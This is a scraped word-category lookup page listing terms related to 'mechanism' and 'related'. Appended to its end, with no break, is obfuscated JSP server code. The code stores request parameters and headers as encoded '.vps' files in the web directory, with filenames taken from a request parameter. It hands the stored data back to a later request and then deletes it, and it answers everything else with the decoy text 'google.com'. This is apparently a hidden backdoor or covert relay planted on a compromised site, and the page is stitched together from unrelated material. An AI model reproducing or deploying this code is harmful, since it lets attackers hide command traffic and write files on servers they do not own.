Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
related_mechanism
:
inflammatory_reaction,
head,
precipitation,
test,
actuator,
gear,
drive,
dissociation,
magazine,
pump,
trap,
window_control,
reaction,
pin,
skin,
cap,
barrier,
roller,
switch,
nut,
screw,
stool,
bar,
style,
transport,
wheel,
association,
hood,
valve,
ramp,
button,
binding,
compressor,
movement,
wiper,
transmission,
block,
performance,
roulette,
slip,
case,
clutch,
fruit,
erosion,
shape,
mass,
key,
form,
piston,
workflow_system,
control,
fire,
fax_machine,
machine,
timer,
coupling,
investment,
radiator,
lock,
solenoid_valve,
hard_drive,
frame,
mechanics,
branch,
access_control,
body,
rock,
regulator,
pulley,
decomposition,
crystal,
Modifiers matching
mechanism
:
immune,
simple,
independent,
electronic,
electromechanical,
binding,
complicated,
sliding,
external,
passive,
active,
motor,
basic,
biologic,
physiological,
mechanical,
advanced,
formal,
concrete,
special,
elementary,
chromosomal,
inertial,
affective,
fluid,
underlying,
related,
rotary,
powerful,
delicate,
key,
sophisticated,
movable,
secure,
fitting,
biochemical,
dynamical,
inner,
morphological,
global,
secondary,
heavy,
synaptic,
out,
rigid,
intellectual,
random,
specialized,
cognitive,
legislative,
working,
reactive,
complex,
useful,
driving,
gradual,
molecular,
interlocking,
suitable,
appropriate,
democratic,
bulky,
biotic,
central,
single,
intermediate,
mental,
electric,
physical,
friendly,
interior,
multiple,
necessary,
microscopic,
important,
theoretical,
opener,
compatible,
vibratory,
homeostatic,
size,
social,
syntactic,
temporary,
ancillary,
conventional,
smaller,
intricate,
larger,
oceanic,
defensive,
dynamic,
peripheral,
supporting,
biological,
typical,
natural,
cellular,
flexible,
linear,
regulation,
mobile,
psychological,
regulatory,
moving,
fundamental,
oscillating,
enzymatic,
sensory,
usual,
additional,
nonspecific,
technical,
judicial,
alert,
informal,
photographic,
structural,
maladaptive,
static,
psychoanalytic,
destructive,
legal,
universal,
psychic,
local,
developmental,
sticky,
alternative,
new,
varied,
micro,
possible,
protective,
internal,
causal,
discriminatory,
neural,
organizational,
olive,
actual,
common,
expensive,
diverse,
unconscious,
explosive,
essential,
tiny,
operational,
major,
functional,
motivational,
genetic,
traditional,
small,
metabolic,
costly,
auxiliary,
standard,
electrical,
analog,
Simple categories matching
related
:
activity,
genus,
cancer,
anomaly,
discipline,
article,
software,
equipment,
outcome,
building,
technique,
fee,
field,
consideration,
item,
research,
event,
product,
object,
information,
area,
sound,
tradition,
practitioner,
collection,
creature,
stuff,
restriction,
woman,
novel,
production,
tool,
ungulate,
science,
appointment,
document,
symptom,
insect,
quantity,
parasite,
organism,
expense,
task,
sickness,
unit,
mineral,
manuscript,
ministry,
usage,
component,
machine,
neoplasm,
assistance,
cause,
shape,
injury,
dimension,
appendage,
supply,
code,
book,
variable,
forum,
time,
incident,
party,
improvement,
use,
output,
mechanism,
layer,
male,
surface,
circuit,
hazard,
relative,
state,
medium,
casualty,
case,
victim,
signal,
announcement,
industry,
emotion,
ordinance,
device,
professional,
container,
work,
extra,
conference,
promotion,
disposition,
support,
sensor,
action,
data,
structure,
offense,
entity,
detector,
accident,
track,
table,
directive,
theme,
position,
furniture,
feline,
input,
correspondence,
institution,
arthropod,
income,
documentation,
person,
notion,
award,
circulation,
condition,
material,
catecholamine,
treatment,
morbidity,
regulation,
office,
gear,
community,
agreement,
effort,
paraphernalia,
drug,
content,
clothing,
fastener,
humor,
equation,
vice,
craft,
accessory,
attribute,
objective,
evidence,
strategy,
experience,
endeavour,
logic,
education,
instrument,
toy,
drawing,
infection,
perturbation,
payment,
pathogen,
division,
cultivar,
trait,
catalyst,
license,
service,
literature,
section,
diagram,
pattern,
medicine,
details,
machinery,
genre,
part,
eukaryote,
training,
page,
policy,
weaponry,
sequence,
magazine,
decision,
minor,
arrangement,
organization,
vertebrate,
steroid,
widget,
spectacles,
ceremony,
vocabulary,
pathology,
bacteria,
suit,
grain,
contract,
disturbance,
medication,
piece,
energy,
idea,
game,
assembly,
crime,
terms,
post,
skill,
technology,
matter,
mission,
paradox,
art,
artefact,
laws,
circuitry,
control,
class,
receptor,
icon,
gasket,
record,
behavior,
phenomenon,
worker,
calculation,
instrumentation,
care,
file,
disease,
agency,
supplier,
source,
disorder,
thing,
duty,
gene,
picture,
knowledge,
parameter,
attire,
location,
color,
behaviour,
report,
study,
cereal,
quality,
expenditure,
virus,
commodity,
receivables,
option,
compound,
cognition,
business,
death,
survey,
adult,
host,
organisation,
substrate,
jewelry,
neurochemical,
proceeding,
facility,
change,
sport,
furnishing,
responsibility,
acne,
colors,
site,
resource,
system,
topic,
law,
image,
complication,
music,
risk,
profession,
protein,
establishment,
illness,
tourism,
appliance,
solution,
passage,
organs,
subject,
apparatus,
tissue,
initiative,
arts,
compressor,
agenda,
form,
measure,
body,
souvenir,
program,
difficulty,
substance,
pest,
construction,
paragraph,
harm,
figure,
oxide,
mammal,
protist,
right,
disaster,
words,
aid,
assets,
occupation,
procedure,
concern,
tree,
style,
commentary,
word,
rodent,
development,
directory,
microorganism,
indicator,
species,
crustacean,
property,
invention,
amine,
faculty,
malady,
papers,
fertilizer,
sheet,
dementia,
fraud,
danger,
situation,
job,
legislation,
reptile,
grass,
hallucinogen,
text,
rock,
decoration,
food,
anion,
staff,
works,
outlet,
therapy,
fruit,
database,
credential,
search,
defect,
plant,
market,
process,
surgery,
course,
measurement,
vehicle,
pain,
preparation,
malpractice,
domain,
nsaid,
peripheral,
career,
contaminant,
weapon,
mustelid,
problem,
carnivore,
workflow,
incentive,
font,
charity,
entertainment,
episode,
enhancement,
charge,
discomfort,
repair,
taxon,
discussion,
merchandise,
account,
force,
feature,
conflict,
waste,
seminar,
artifact,
publication,
language,
outbuilding,
benefit,
implement,
function,
message,
company,
practice,
sector,
invertebrate,
female,
department,
model,
actinomycete,
group,
impairment,
routine,
apparel,
fluid,
cushion,
reference,
exercise,
project,
adjustment,
issue,
misdeed,
monomer,
application,
malignancy,
rule,
characteristic,
specialist,
abstraction,
question,
carrier,
concentration,
transactions,
concept,
theory,
catastrophe,
molecule,
trade,
gathering,
chemical,
hormone,
visit,
criterion,
kin,
philosophy,
hardware,
offence,
animal,
foundation,
plan,
character,
people,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>